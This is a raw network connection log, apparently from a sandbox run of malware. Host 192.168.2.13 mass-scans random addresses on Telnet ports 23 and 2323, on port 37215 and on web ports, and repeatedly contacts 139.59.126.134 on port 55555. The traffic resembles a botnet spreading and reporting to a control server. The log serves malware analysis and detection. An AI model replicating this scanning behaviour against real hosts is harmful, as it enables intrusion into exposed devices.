Jan 26, 2025 01:43:30.702208996 CET	45517	23	192.168.2.13	139.210.59.104
Jan 26, 2025 01:43:30.702213049 CET	45517	23	192.168.2.13	140.155.39.47
Jan 26, 2025 01:43:30.702214956 CET	45517	23	192.168.2.13	143.99.70.185
Jan 26, 2025 01:43:30.702214956 CET	45517	23	192.168.2.13	113.35.170.109
Jan 26, 2025 01:43:30.702214956 CET	45517	23	192.168.2.13	53.25.153.111
Jan 26, 2025 01:43:30.702214956 CET	45517	23	192.168.2.13	53.37.150.144
Jan 26, 2025 01:43:30.702214956 CET	45517	23	192.168.2.13	168.96.199.231
Jan 26, 2025 01:43:30.702214956 CET	45517	23	192.168.2.13	42.95.78.39
Jan 26, 2025 01:43:30.702220917 CET	45517	23	192.168.2.13	70.37.156.12
Jan 26, 2025 01:43:30.702225924 CET	45517	23	192.168.2.13	118.126.162.239
Jan 26, 2025 01:43:30.702240944 CET	45517	23	192.168.2.13	105.128.113.0
Jan 26, 2025 01:43:30.702241898 CET	45517	23	192.168.2.13	130.133.171.1
Jan 26, 2025 01:43:30.702244043 CET	45517	23	192.168.2.13	32.69.216.90
Jan 26, 2025 01:43:30.702246904 CET	45517	2323	192.168.2.13	102.57.104.53
Jan 26, 2025 01:43:30.702246904 CET	45517	23	192.168.2.13	195.5.15.141
Jan 26, 2025 01:43:30.702266932 CET	45517	23	192.168.2.13	150.95.142.160
Jan 26, 2025 01:43:30.702266932 CET	45517	2323	192.168.2.13	96.193.132.55
Jan 26, 2025 01:43:30.702266932 CET	45517	23	192.168.2.13	108.213.22.235
Jan 26, 2025 01:43:30.702266932 CET	45517	23	192.168.2.13	48.209.2.64
Jan 26, 2025 01:43:30.702271938 CET	45517	23	192.168.2.13	19.126.139.93
Jan 26, 2025 01:43:30.702272892 CET	45517	23	192.168.2.13	102.139.156.208
Jan 26, 2025 01:43:30.702280998 CET	45517	23	192.168.2.13	216.207.98.148
Jan 26, 2025 01:43:30.702280998 CET	45517	23	192.168.2.13	218.222.172.192
Jan 26, 2025 01:43:30.702285051 CET	45517	23	192.168.2.13	193.40.8.43
Jan 26, 2025 01:43:30.702285051 CET	45517	23	192.168.2.13	181.126.182.111
Jan 26, 2025 01:43:30.702285051 CET	45517	23	192.168.2.13	210.134.150.112
Jan 26, 2025 01:43:30.702289104 CET	45517	23	192.168.2.13	79.67.149.147
Jan 26, 2025 01:43:30.702301025 CET	45517	2323	192.168.2.13	23.82.50.178
Jan 26, 2025 01:43:30.702301979 CET	45517	23	192.168.2.13	178.116.238.39
Jan 26, 2025 01:43:30.702311039 CET	45517	23	192.168.2.13	84.227.245.97
Jan 26, 2025 01:43:30.702311993 CET	45517	23	192.168.2.13	155.198.122.223
Jan 26, 2025 01:43:30.702311993 CET	45517	23	192.168.2.13	201.124.62.200
Jan 26, 2025 01:43:30.702313900 CET	45517	23	192.168.2.13	120.153.253.83
Jan 26, 2025 01:43:30.702316046 CET	45517	23	192.168.2.13	40.13.166.251
Jan 26, 2025 01:43:30.702320099 CET	45517	23	192.168.2.13	212.74.213.15
Jan 26, 2025 01:43:30.702334881 CET	45517	23	192.168.2.13	158.223.252.10
Jan 26, 2025 01:43:30.702337027 CET	45517	23	192.168.2.13	211.59.0.15
Jan 26, 2025 01:43:30.702337027 CET	45517	23	192.168.2.13	12.95.208.77
Jan 26, 2025 01:43:30.702337027 CET	45517	23	192.168.2.13	48.217.254.87
Jan 26, 2025 01:43:30.702342987 CET	45517	23	192.168.2.13	114.3.116.65
Jan 26, 2025 01:43:30.702342987 CET	45517	23	192.168.2.13	63.130.157.82
Jan 26, 2025 01:43:30.702344894 CET	45517	23	192.168.2.13	14.227.9.7
Jan 26, 2025 01:43:30.702344894 CET	45517	23	192.168.2.13	126.192.251.53
Jan 26, 2025 01:43:30.702347994 CET	45517	23	192.168.2.13	174.78.248.39
Jan 26, 2025 01:43:30.702348948 CET	45517	23	192.168.2.13	161.75.219.242
Jan 26, 2025 01:43:30.702349901 CET	45517	2323	192.168.2.13	205.119.85.82
Jan 26, 2025 01:43:30.702362061 CET	45517	23	192.168.2.13	111.248.247.147
Jan 26, 2025 01:43:30.702362061 CET	45517	23	192.168.2.13	219.173.113.24
Jan 26, 2025 01:43:30.702363968 CET	45517	23	192.168.2.13	70.10.6.203
Jan 26, 2025 01:43:30.702382088 CET	45517	23	192.168.2.13	40.222.143.161
Jan 26, 2025 01:43:30.702383995 CET	45517	23	192.168.2.13	20.70.89.63
Jan 26, 2025 01:43:30.702383995 CET	45517	23	192.168.2.13	117.248.237.72
Jan 26, 2025 01:43:30.702384949 CET	45517	23	192.168.2.13	71.212.38.41
Jan 26, 2025 01:43:30.702404022 CET	45517	2323	192.168.2.13	218.45.21.139
Jan 26, 2025 01:43:30.702405930 CET	45517	23	192.168.2.13	81.175.241.178
Jan 26, 2025 01:43:30.702405930 CET	45517	23	192.168.2.13	187.89.225.206
Jan 26, 2025 01:43:30.702405930 CET	45517	23	192.168.2.13	70.90.216.16
Jan 26, 2025 01:43:30.702414989 CET	45517	23	192.168.2.13	153.247.45.217
Jan 26, 2025 01:43:30.702419043 CET	45517	23	192.168.2.13	81.188.73.113
Jan 26, 2025 01:43:30.702423096 CET	45517	23	192.168.2.13	91.203.92.99
Jan 26, 2025 01:43:30.702429056 CET	45517	23	192.168.2.13	65.136.162.91
Jan 26, 2025 01:43:30.702435017 CET	45517	23	192.168.2.13	106.83.66.235
Jan 26, 2025 01:43:30.702435970 CET	45517	23	192.168.2.13	23.107.121.244
Jan 26, 2025 01:43:30.702436924 CET	45517	23	192.168.2.13	81.227.65.194
Jan 26, 2025 01:43:30.702445030 CET	45517	2323	192.168.2.13	34.95.103.246
Jan 26, 2025 01:43:30.702467918 CET	45517	23	192.168.2.13	69.150.217.193
Jan 26, 2025 01:43:30.702470064 CET	45517	23	192.168.2.13	172.69.158.234
Jan 26, 2025 01:43:30.702470064 CET	45517	23	192.168.2.13	163.114.76.156
Jan 26, 2025 01:43:30.702470064 CET	45517	23	192.168.2.13	150.218.84.167
Jan 26, 2025 01:43:30.702481985 CET	45517	23	192.168.2.13	107.44.73.107
Jan 26, 2025 01:43:30.702481985 CET	45517	23	192.168.2.13	42.35.13.210
Jan 26, 2025 01:43:30.702482939 CET	45517	2323	192.168.2.13	54.152.189.145
Jan 26, 2025 01:43:30.702483892 CET	45517	23	192.168.2.13	223.42.92.56
Jan 26, 2025 01:43:30.702482939 CET	45517	23	192.168.2.13	208.14.76.222
Jan 26, 2025 01:43:30.702482939 CET	45517	23	192.168.2.13	99.32.252.83
Jan 26, 2025 01:43:30.702482939 CET	45517	23	192.168.2.13	134.100.80.9
Jan 26, 2025 01:43:30.702482939 CET	45517	23	192.168.2.13	32.215.98.23
Jan 26, 2025 01:43:30.702486992 CET	45517	2323	192.168.2.13	210.41.44.152
Jan 26, 2025 01:43:30.702502966 CET	45517	23	192.168.2.13	82.146.77.31
Jan 26, 2025 01:43:30.702528954 CET	45517	23	192.168.2.13	85.15.244.100
Jan 26, 2025 01:43:30.702529907 CET	45517	23	192.168.2.13	167.174.144.50
Jan 26, 2025 01:43:30.702539921 CET	45517	23	192.168.2.13	131.150.203.111
Jan 26, 2025 01:43:30.702548027 CET	45517	23	192.168.2.13	14.161.20.57
Jan 26, 2025 01:43:30.702552080 CET	45517	23	192.168.2.13	121.48.230.255
Jan 26, 2025 01:43:30.702552080 CET	45517	2323	192.168.2.13	206.70.220.198
Jan 26, 2025 01:43:30.702568054 CET	45517	23	192.168.2.13	64.61.141.58
Jan 26, 2025 01:43:30.702568054 CET	45517	23	192.168.2.13	220.77.17.21
Jan 26, 2025 01:43:30.702568054 CET	45517	23	192.168.2.13	198.206.240.253
Jan 26, 2025 01:43:30.702568054 CET	45517	23	192.168.2.13	204.139.204.217
Jan 26, 2025 01:43:30.702568054 CET	45517	23	192.168.2.13	75.81.70.146
Jan 26, 2025 01:43:30.702573061 CET	45517	23	192.168.2.13	43.169.157.23
Jan 26, 2025 01:43:30.702579975 CET	45517	23	192.168.2.13	43.198.247.201
Jan 26, 2025 01:43:30.702580929 CET	45517	23	192.168.2.13	172.232.138.155
Jan 26, 2025 01:43:30.702580929 CET	45517	23	192.168.2.13	169.108.229.47
Jan 26, 2025 01:43:30.702588081 CET	45517	23	192.168.2.13	120.187.208.92
Jan 26, 2025 01:43:30.702600956 CET	45517	23	192.168.2.13	61.183.147.79
Jan 26, 2025 01:43:30.702605009 CET	45517	2323	192.168.2.13	73.16.210.5
Jan 26, 2025 01:43:30.702605963 CET	45517	23	192.168.2.13	123.87.231.148
Jan 26, 2025 01:43:30.702606916 CET	45517	23	192.168.2.13	59.208.215.161
Jan 26, 2025 01:43:30.702606916 CET	45517	23	192.168.2.13	205.160.248.56
Jan 26, 2025 01:43:30.702613115 CET	45517	23	192.168.2.13	161.2.71.172
Jan 26, 2025 01:43:30.702614069 CET	45517	23	192.168.2.13	50.34.121.72
Jan 26, 2025 01:43:30.702615023 CET	45517	23	192.168.2.13	112.215.113.12
Jan 26, 2025 01:43:30.702617884 CET	45517	23	192.168.2.13	131.110.38.52
Jan 26, 2025 01:43:30.702620983 CET	45517	23	192.168.2.13	180.139.79.133
Jan 26, 2025 01:43:30.702620983 CET	45517	23	192.168.2.13	69.132.89.251
Jan 26, 2025 01:43:30.702621937 CET	45517	23	192.168.2.13	42.160.14.128
Jan 26, 2025 01:43:30.702631950 CET	45517	23	192.168.2.13	41.30.196.53
Jan 26, 2025 01:43:30.702632904 CET	45517	2323	192.168.2.13	44.199.92.93
Jan 26, 2025 01:43:30.702637911 CET	45517	23	192.168.2.13	185.187.66.155
Jan 26, 2025 01:43:30.702639103 CET	45517	23	192.168.2.13	32.216.202.100
Jan 26, 2025 01:43:30.702642918 CET	45517	23	192.168.2.13	98.230.95.40
Jan 26, 2025 01:43:30.702642918 CET	45517	23	192.168.2.13	5.153.78.62
Jan 26, 2025 01:43:30.702672005 CET	45517	23	192.168.2.13	50.27.135.224
Jan 26, 2025 01:43:30.702673912 CET	45517	23	192.168.2.13	190.80.14.194
Jan 26, 2025 01:43:30.702688932 CET	45517	23	192.168.2.13	37.0.113.163
Jan 26, 2025 01:43:30.702688932 CET	45517	2323	192.168.2.13	197.170.169.177
Jan 26, 2025 01:43:30.702688932 CET	45517	23	192.168.2.13	70.173.145.172
Jan 26, 2025 01:43:30.702696085 CET	45517	23	192.168.2.13	223.76.110.156
Jan 26, 2025 01:43:30.702697039 CET	45517	23	192.168.2.13	49.81.94.214
Jan 26, 2025 01:43:30.702697039 CET	45517	23	192.168.2.13	120.126.97.93
Jan 26, 2025 01:43:30.702703953 CET	45517	23	192.168.2.13	65.163.51.138
Jan 26, 2025 01:43:30.702708960 CET	45517	23	192.168.2.13	132.218.213.81
Jan 26, 2025 01:43:30.702708960 CET	45517	23	192.168.2.13	221.130.173.132
Jan 26, 2025 01:43:30.702712059 CET	45517	2323	192.168.2.13	46.240.185.219
Jan 26, 2025 01:43:30.702713966 CET	45517	23	192.168.2.13	165.31.83.211
Jan 26, 2025 01:43:30.702728987 CET	45517	23	192.168.2.13	58.247.68.198
Jan 26, 2025 01:43:30.702729940 CET	45517	23	192.168.2.13	92.238.8.42
Jan 26, 2025 01:43:30.702732086 CET	45517	23	192.168.2.13	190.121.200.165
Jan 26, 2025 01:43:30.702732086 CET	45517	23	192.168.2.13	66.36.167.6
Jan 26, 2025 01:43:30.702738047 CET	45517	23	192.168.2.13	166.104.249.82
Jan 26, 2025 01:43:30.702758074 CET	45517	23	192.168.2.13	143.5.33.125
Jan 26, 2025 01:43:30.702759981 CET	45517	2323	192.168.2.13	123.57.77.75
Jan 26, 2025 01:43:30.702759981 CET	45517	23	192.168.2.13	70.245.42.215
Jan 26, 2025 01:43:30.702759981 CET	45517	23	192.168.2.13	67.30.87.153
Jan 26, 2025 01:43:30.702764034 CET	45517	23	192.168.2.13	160.119.205.85
Jan 26, 2025 01:43:30.702764034 CET	45517	23	192.168.2.13	132.52.26.15
Jan 26, 2025 01:43:30.702769995 CET	45517	23	192.168.2.13	219.220.40.172
Jan 26, 2025 01:43:30.702773094 CET	45517	23	192.168.2.13	35.196.189.168
Jan 26, 2025 01:43:30.702779055 CET	45517	23	192.168.2.13	150.40.121.184
Jan 26, 2025 01:43:30.702781916 CET	45517	23	192.168.2.13	152.43.196.207
Jan 26, 2025 01:43:30.702788115 CET	45517	23	192.168.2.13	216.124.40.3
Jan 26, 2025 01:43:30.702792883 CET	45517	2323	192.168.2.13	131.91.100.195
Jan 26, 2025 01:43:30.702795982 CET	45517	23	192.168.2.13	167.24.175.13
Jan 26, 2025 01:43:30.702805042 CET	45517	23	192.168.2.13	123.40.122.63
Jan 26, 2025 01:43:30.702810049 CET	45517	23	192.168.2.13	72.119.209.152
Jan 26, 2025 01:43:30.702811003 CET	45517	23	192.168.2.13	152.246.166.182
Jan 26, 2025 01:43:30.702811003 CET	45517	23	192.168.2.13	139.228.143.57
Jan 26, 2025 01:43:30.702815056 CET	45517	23	192.168.2.13	196.215.28.105
Jan 26, 2025 01:43:30.702816963 CET	45517	23	192.168.2.13	69.37.124.184
Jan 26, 2025 01:43:30.702817917 CET	45517	23	192.168.2.13	92.109.177.215
Jan 26, 2025 01:43:30.702830076 CET	45517	23	192.168.2.13	140.140.148.249
Jan 26, 2025 01:43:30.702831984 CET	45517	23	192.168.2.13	76.22.119.55
Jan 26, 2025 01:43:30.702832937 CET	45517	23	192.168.2.13	164.138.24.230
Jan 26, 2025 01:43:30.702831984 CET	45517	2323	192.168.2.13	46.232.168.159
Jan 26, 2025 01:43:30.702991009 CET	45517	23	192.168.2.13	92.0.23.95
Jan 26, 2025 01:43:30.702991009 CET	45517	23	192.168.2.13	1.11.95.61
Jan 26, 2025 01:43:30.702991009 CET	45517	23	192.168.2.13	135.27.224.56
Jan 26, 2025 01:43:30.702991009 CET	45517	23	192.168.2.13	185.177.187.110
Jan 26, 2025 01:43:30.702991009 CET	45517	23	192.168.2.13	218.8.115.184
Jan 26, 2025 01:43:30.703001976 CET	45517	23	192.168.2.13	160.232.182.111
Jan 26, 2025 01:43:30.703648090 CET	45220	80	192.168.2.13	95.94.250.224
Jan 26, 2025 01:43:30.705424070 CET	50470	2323	192.168.2.13	217.145.248.189
Jan 26, 2025 01:43:30.707823038 CET	40402	37215	192.168.2.13	197.198.248.63
Jan 26, 2025 01:43:30.708327055 CET	53842	80	192.168.2.13	95.203.116.57
Jan 26, 2025 01:43:30.708434105 CET	80	45220	95.94.250.224	192.168.2.13
Jan 26, 2025 01:43:30.708486080 CET	45220	80	192.168.2.13	95.94.250.224
Jan 26, 2025 01:43:30.713227987 CET	58756	37215	192.168.2.13	197.21.99.87
Jan 26, 2025 01:43:30.713376045 CET	38170	80	192.168.2.13	95.149.17.221
Jan 26, 2025 01:43:30.716018915 CET	52356	37215	192.168.2.13	197.102.21.81
Jan 26, 2025 01:43:30.716377020 CET	34520	80	192.168.2.13	95.37.30.205
Jan 26, 2025 01:43:30.717356920 CET	39572	8080	192.168.2.13	31.222.195.206
Jan 26, 2025 01:43:30.717358112 CET	53988	8080	192.168.2.13	62.164.173.45
Jan 26, 2025 01:43:30.717358112 CET	54564	8080	192.168.2.13	62.195.73.246
Jan 26, 2025 01:43:30.717359066 CET	41212	8080	192.168.2.13	31.231.74.216
Jan 26, 2025 01:43:30.717358112 CET	42310	8080	192.168.2.13	85.72.102.231
Jan 26, 2025 01:43:30.717367887 CET	59696	8080	192.168.2.13	62.192.87.58
Jan 26, 2025 01:43:30.717437029 CET	49742	8080	192.168.2.13	62.57.130.83
Jan 26, 2025 01:43:30.718055964 CET	37215	58756	197.21.99.87	192.168.2.13
Jan 26, 2025 01:43:30.718111992 CET	58756	37215	192.168.2.13	197.21.99.87
Jan 26, 2025 01:43:30.718841076 CET	45586	37215	192.168.2.13	197.215.187.35
Jan 26, 2025 01:43:30.718972921 CET	49316	80	192.168.2.13	95.2.67.231
Jan 26, 2025 01:43:30.722548008 CET	42842	37215	192.168.2.13	197.171.72.100
Jan 26, 2025 01:43:30.722681046 CET	33412	80	192.168.2.13	95.195.96.182
Jan 26, 2025 01:43:30.723413944 CET	55555	41664	139.59.126.134	192.168.2.13
Jan 26, 2025 01:43:30.723742008 CET	41664	55555	192.168.2.13	139.59.126.134
Jan 26, 2025 01:43:30.723742008 CET	41664	55555	192.168.2.13	139.59.126.134
Jan 26, 2025 01:43:30.725109100 CET	42424	55555	192.168.2.13	139.59.126.134
Jan 26, 2025 01:43:30.726510048 CET	53872	80	192.168.2.13	95.9.63.185
Jan 26, 2025 01:43:30.727149010 CET	58216	37215	192.168.2.13	197.202.39.253
Jan 26, 2025 01:43:30.728364944 CET	36916	80	192.168.2.13	95.206.15.11
Jan 26, 2025 01:43:30.729099035 CET	45366	37215	192.168.2.13	197.212.52.81
Jan 26, 2025 01:43:30.729865074 CET	55555	42424	139.59.126.134	192.168.2.13
Jan 26, 2025 01:43:30.729928017 CET	42424	55555	192.168.2.13	139.59.126.134
Jan 26, 2025 01:43:30.730490923 CET	50200	80	192.168.2.13	95.6.34.230
Jan 26, 2025 01:43:30.732364893 CET	50120	37215	192.168.2.13	197.220.194.140
Jan 26, 2025 01:43:30.732568026 CET	42424	55555	192.168.2.13	139.59.126.134
Jan 26, 2025 01:43:30.733424902 CET	40748	80	192.168.2.13	95.107.212.128
Jan 26, 2025 01:43:30.736150026 CET	38492	37215	192.168.2.13	197.152.236.96
Jan 26, 2025 01:43:30.737234116 CET	37215	50120	197.220.194.140	192.168.2.13
Jan 26, 2025 01:43:30.737276077 CET	50120	37215	192.168.2.13	197.220.194.140
Jan 26, 2025 01:43:30.737315893 CET	55555	42424	139.59.126.134	192.168.2.13
Jan 26, 2025 01:43:30.737389088 CET	42424	55555	192.168.2.13	139.59.126.134
Jan 26, 2025 01:43:30.737544060 CET	60866	80	192.168.2.13	95.188.76.123
Jan 26, 2025 01:43:30.739025116 CET	58424	37215	192.168.2.13	197.241.78.99
Jan 26, 2025 01:43:30.739785910 CET	38302	80	192.168.2.13	95.62.11.187
Jan 26, 2025 01:43:30.741229057 CET	56816	37215	192.168.2.13	197.152.206.30
Jan 26, 2025 01:43:30.742130995 CET	55555	42424	139.59.126.134	192.168.2.13
Jan 26, 2025 01:43:30.742199898 CET	54886	80	192.168.2.13	95.188.219.245
Jan 26, 2025 01:43:30.743607044 CET	52454	37215	192.168.2.13	197.249.234.117
Jan 26, 2025 01:43:30.744407892 CET	45588	80	192.168.2.13	95.136.40.238
Jan 26, 2025 01:43:30.746052027 CET	47788	37215	192.168.2.13	197.161.234.6
Jan 26, 2025 01:43:30.746717930 CET	56406	80	192.168.2.13	95.229.186.64
Jan 26, 2025 01:43:30.748009920 CET	44084	37215	192.168.2.13	197.18.210.138
Jan 26, 2025 01:43:30.748375893 CET	37215	52454	197.249.234.117	192.168.2.13
Jan 26, 2025 01:43:30.748418093 CET	52454	37215	192.168.2.13	197.249.234.117
Jan 26, 2025 01:43:30.748766899 CET	44526	80	192.168.2.13	95.227.234.66
Jan 26, 2025 01:43:30.749340057 CET	53864	8080	192.168.2.13	85.115.227.90
Jan 26, 2025 01:43:30.750004053 CET	52610	37215	192.168.2.13	197.229.227.217
Jan 26, 2025 01:43:30.750829935 CET	60890	80	192.168.2.13	95.86.88.195
Jan 26, 2025 01:43:30.752707005 CET	49734	37215	192.168.2.13	197.207.29.141
Jan 26, 2025 01:43:30.754257917 CET	48248	80	192.168.2.13	95.231.203.97
Jan 26, 2025 01:43:30.756295919 CET	42594	37215	192.168.2.13	197.8.29.186
Jan 26, 2025 01:43:30.757067919 CET	60816	80	192.168.2.13	95.58.89.244
Jan 26, 2025 01:43:30.757498980 CET	37215	49734	197.207.29.141	192.168.2.13
Jan 26, 2025 01:43:30.757599115 CET	49734	37215	192.168.2.13	197.207.29.141
Jan 26, 2025 01:43:30.758245945 CET	54632	37215	192.168.2.13	197.17.125.118
Jan 26, 2025 01:43:30.759100914 CET	60692	80	192.168.2.13	95.4.40.214
Jan 26, 2025 01:43:30.760634899 CET	45762	37215	192.168.2.13	197.0.227.255
Jan 26, 2025 01:43:30.761761904 CET	33654	80	192.168.2.13	95.106.74.180
Jan 26, 2025 01:43:30.763025999 CET	44548	37215	192.168.2.13	197.22.82.152
Jan 26, 2025 01:43:30.763675928 CET	35920	80	192.168.2.13	95.21.30.214
Jan 26, 2025 01:43:30.765207052 CET	45964	37215	192.168.2.13	197.166.199.114
Jan 26, 2025 01:43:30.765846014 CET	57076	80	192.168.2.13	95.45.34.87
Jan 26, 2025 01:43:30.767775059 CET	49690	37215	192.168.2.13	197.110.228.188
Jan 26, 2025 01:43:30.768058062 CET	43924	80	192.168.2.13	95.52.122.58
Jan 26, 2025 01:43:30.768480062 CET	80	35920	95.21.30.214	192.168.2.13
Jan 26, 2025 01:43:30.768560886 CET	35920	80	192.168.2.13	95.21.30.214
Jan 26, 2025 01:43:30.771667004 CET	33350	37215	192.168.2.13	197.223.172.238
Jan 26, 2025 01:43:30.771903038 CET	34600	80	192.168.2.13	95.10.99.184
Jan 26, 2025 01:43:30.774946928 CET	34804	37215	192.168.2.13	197.75.77.153
Jan 26, 2025 01:43:30.775332928 CET	40972	80	192.168.2.13	95.17.56.58
Jan 26, 2025 01:43:30.776480913 CET	37215	33350	197.223.172.238	192.168.2.13
Jan 26, 2025 01:43:30.776575089 CET	33350	37215	192.168.2.13	197.223.172.238
Jan 26, 2025 01:43:30.776963949 CET	54344	37215	192.168.2.13	197.226.136.193
Jan 26, 2025 01:43:30.777081966 CET	59842	80	192.168.2.13	95.125.79.136
Jan 26, 2025 01:43:30.778811932 CET	55110	37215	192.168.2.13	197.140.212.34
Jan 26, 2025 01:43:30.779364109 CET	59586	80	192.168.2.13	95.17.228.204
Jan 26, 2025 01:43:30.780977011 CET	37072	37215	192.168.2.13	197.193.78.138
Jan 26, 2025 01:43:30.781192064 CET	33190	80	192.168.2.13	95.20.203.110
Jan 26, 2025 01:43:30.784204960 CET	42502	37215	192.168.2.13	197.110.145.161
Jan 26, 2025 01:43:30.784490108 CET	37074	80	192.168.2.13	95.19.214.46
Jan 26, 2025 01:43:30.786175966 CET	41724	37215	192.168.2.13	197.145.74.237
Jan 26, 2025 01:43:30.786303043 CET	53422	80	192.168.2.13	95.12.54.231
Jan 26, 2025 01:43:30.788019896 CET	57184	37215	192.168.2.13	197.210.147.116
Jan 26, 2025 01:43:30.788301945 CET	44042	80	192.168.2.13	95.103.223.101
Jan 26, 2025 01:43:30.789011955 CET	37215	42502	197.110.145.161	192.168.2.13
Jan 26, 2025 01:43:30.789062977 CET	42502	37215	192.168.2.13	197.110.145.161
Jan 26, 2025 01:43:30.791575909 CET	49278	37215	192.168.2.13	197.61.149.58
Jan 26, 2025 01:43:30.791719913 CET	39020	80	192.168.2.13	95.204.218.126
Jan 26, 2025 01:43:30.793658972 CET	57346	37215	192.168.2.13	197.26.63.200
Jan 26, 2025 01:43:30.793879032 CET	58218	80	192.168.2.13	95.213.69.122
Jan 26, 2025 01:43:30.795567036 CET	44286	37215	192.168.2.13	197.33.41.156
Jan 26, 2025 01:43:30.795705080 CET	56074	80	192.168.2.13	95.221.224.46
Jan 26, 2025 01:43:30.796418905 CET	37215	49278	197.61.149.58	192.168.2.13
Jan 26, 2025 01:43:30.796463966 CET	49278	37215	192.168.2.13	197.61.149.58
Jan 26, 2025 01:43:30.798459053 CET	49782	37215	192.168.2.13	197.235.72.48
Jan 26, 2025 01:43:30.798995972 CET	44442	80	192.168.2.13	95.238.236.77
Jan 26, 2025 01:43:30.800836086 CET	38836	37215	192.168.2.13	197.69.9.240
Jan 26, 2025 01:43:30.800957918 CET	35914	80	192.168.2.13	95.23.117.89
Jan 26, 2025 01:43:30.802580118 CET	38614	37215	192.168.2.13	197.71.140.250
Jan 26, 2025 01:43:30.802820921 CET	52872	80	192.168.2.13	95.190.142.222
Jan 26, 2025 01:43:30.804410934 CET	41440	37215	192.168.2.13	197.132.79.190
Jan 26, 2025 01:43:30.804565907 CET	44770	80	192.168.2.13	95.203.2.238
Jan 26, 2025 01:43:30.806395054 CET	52808	37215	192.168.2.13	197.35.199.151
Jan 26, 2025 01:43:30.806652069 CET	52416	80	192.168.2.13	95.27.39.89
Jan 26, 2025 01:43:30.808578968 CET	36592	37215	192.168.2.13	197.244.160.176
Jan 26, 2025 01:43:30.808878899 CET	47864	80	192.168.2.13	95.227.152.120
Jan 26, 2025 01:43:30.809227943 CET	37215	41440	197.132.79.190	192.168.2.13
Jan 26, 2025 01:43:30.809302092 CET	41440	37215	192.168.2.13	197.132.79.190
Jan 26, 2025 01:43:30.810389996 CET	40544	37215	192.168.2.13	197.209.38.75
Jan 26, 2025 01:43:30.810623884 CET	44580	80	192.168.2.13	95.147.6.93
Jan 26, 2025 01:43:30.813357115 CET	44698	8080	192.168.2.13	85.95.154.119
Jan 26, 2025 01:43:30.813357115 CET	34146	8080	192.168.2.13	95.95.121.160
Jan 26, 2025 01:43:30.813402891 CET	36550	37215	192.168.2.13	197.221.47.231
Jan 26, 2025 01:43:30.813472033 CET	37326	8080	192.168.2.13	95.193.85.148
Jan 26, 2025 01:43:30.813472986 CET	33904	8080	192.168.2.13	62.35.234.227
Jan 26, 2025 01:43:30.814546108 CET	34188	80	192.168.2.13	95.193.143.88
Jan 26, 2025 01:43:30.817004919 CET	47232	37215	192.168.2.13	197.142.243.223
Jan 26, 2025 01:43:30.817121029 CET	52382	80	192.168.2.13	95.171.9.26
Jan 26, 2025 01:43:30.818150043 CET	8080	44698	85.95.154.119	192.168.2.13
Jan 26, 2025 01:43:30.818274975 CET	44698	8080	192.168.2.13	85.95.154.119
Jan 26, 2025 01:43:30.818407059 CET	47566	8080	192.168.2.13	94.35.182.2
Jan 26, 2025 01:43:30.818407059 CET	47566	8080	192.168.2.13	31.251.207.175
Jan 26, 2025 01:43:30.818408012 CET	47566	8080	192.168.2.13	62.240.236.115
Jan 26, 2025 01:43:30.818407059 CET	47566	8080	192.168.2.13	94.79.54.163
Jan 26, 2025 01:43:30.818411112 CET	47566	8080	192.168.2.13	94.161.55.87
Jan 26, 2025 01:43:30.818418980 CET	47566	8080	192.168.2.13	62.153.250.236
Jan 26, 2025 01:43:30.818419933 CET	47566	8080	192.168.2.13	95.132.192.18
Jan 26, 2025 01:43:30.818428993 CET	47566	8080	192.168.2.13	62.199.157.79
Jan 26, 2025 01:43:30.818433046 CET	47566	8080	192.168.2.13	85.65.184.119
Jan 26, 2025 01:43:30.818438053 CET	47566	8080	192.168.2.13	85.237.234.113
Jan 26, 2025 01:43:30.818439007 CET	47566	8080	192.168.2.13	62.64.117.107
Jan 26, 2025 01:43:30.818461895 CET	47566	8080	192.168.2.13	95.154.38.75
Jan 26, 2025 01:43:30.818461895 CET	47566	8080	192.168.2.13	31.214.22.203
Jan 26, 2025 01:43:30.818463087 CET	47566	8080	192.168.2.13	31.101.35.137
Jan 26, 2025 01:43:30.818480968 CET	47566	8080	192.168.2.13	95.96.228.228
Jan 26, 2025 01:43:30.818489075 CET	47566	8080	192.168.2.13	31.255.109.153
Jan 26, 2025 01:43:30.818489075 CET	47566	8080	192.168.2.13	85.106.107.83
Jan 26, 2025 01:43:30.818490982 CET	47566	8080	192.168.2.13	95.229.174.155
Jan 26, 2025 01:43:30.818504095 CET	47566	8080	192.168.2.13	94.64.59.25
Jan 26, 2025 01:43:30.818504095 CET	47566	8080	192.168.2.13	62.164.222.177
Jan 26, 2025 01:43:30.818509102 CET	47566	8080	192.168.2.13	94.88.64.43
Jan 26, 2025 01:43:30.818511009 CET	47566	8080	192.168.2.13	94.69.211.30
Jan 26, 2025 01:43:30.818516016 CET	47566	8080	192.168.2.13	62.33.227.84
Jan 26, 2025 01:43:30.818526030 CET	47566	8080	192.168.2.13	85.50.52.70
Jan 26, 2025 01:43:30.818526030 CET	47566	8080	192.168.2.13	31.136.74.39
Jan 26, 2025 01:43:30.818526030 CET	47566	8080	192.168.2.13	85.49.203.153
Jan 26, 2025 01:43:30.818526983 CET	47566	8080	192.168.2.13	85.134.241.25
Jan 26, 2025 01:43:30.818526983 CET	47566	8080	192.168.2.13	62.1.112.150
Jan 26, 2025 01:43:30.818526983 CET	47566	8080	192.168.2.13	31.132.149.243
Jan 26, 2025 01:43:30.818526983 CET	47566	8080	192.168.2.13	31.7.64.210
Jan 26, 2025 01:43:30.818530083 CET	47566	8080	192.168.2.13	94.143.103.172
Jan 26, 2025 01:43:30.818536997 CET	47566	8080	192.168.2.13	31.79.127.88
Jan 26, 2025 01:43:30.818536997 CET	47566	8080	192.168.2.13	95.108.72.138
Jan 26, 2025 01:43:30.818540096 CET	47566	8080	192.168.2.13	85.231.49.60
Jan 26, 2025 01:43:30.818547964 CET	47566	8080	192.168.2.13	95.11.230.120
Jan 26, 2025 01:43:30.818550110 CET	47566	8080	192.168.2.13	95.233.26.181
Jan 26, 2025 01:43:30.818550110 CET	47566	8080	192.168.2.13	85.81.44.93
Jan 26, 2025 01:43:30.818552971 CET	47566	8080	192.168.2.13	85.141.188.200
Jan 26, 2025 01:43:30.818558931 CET	47566	8080	192.168.2.13	62.12.143.118
Jan 26, 2025 01:43:30.818562984 CET	47566	8080	192.168.2.13	85.19.146.120
Jan 26, 2025 01:43:30.818568945 CET	47566	8080	192.168.2.13	94.173.54.179
Jan 26, 2025 01:43:30.818571091 CET	47566	8080	192.168.2.13	62.105.205.75
Jan 26, 2025 01:43:30.818571091 CET	47566	8080	192.168.2.13	85.117.113.134
Jan 26, 2025 01:43:30.818572044 CET	47566	8080	192.168.2.13	95.180.50.238
Jan 26, 2025 01:43:30.818577051 CET	47566	8080	192.168.2.13	85.231.194.124
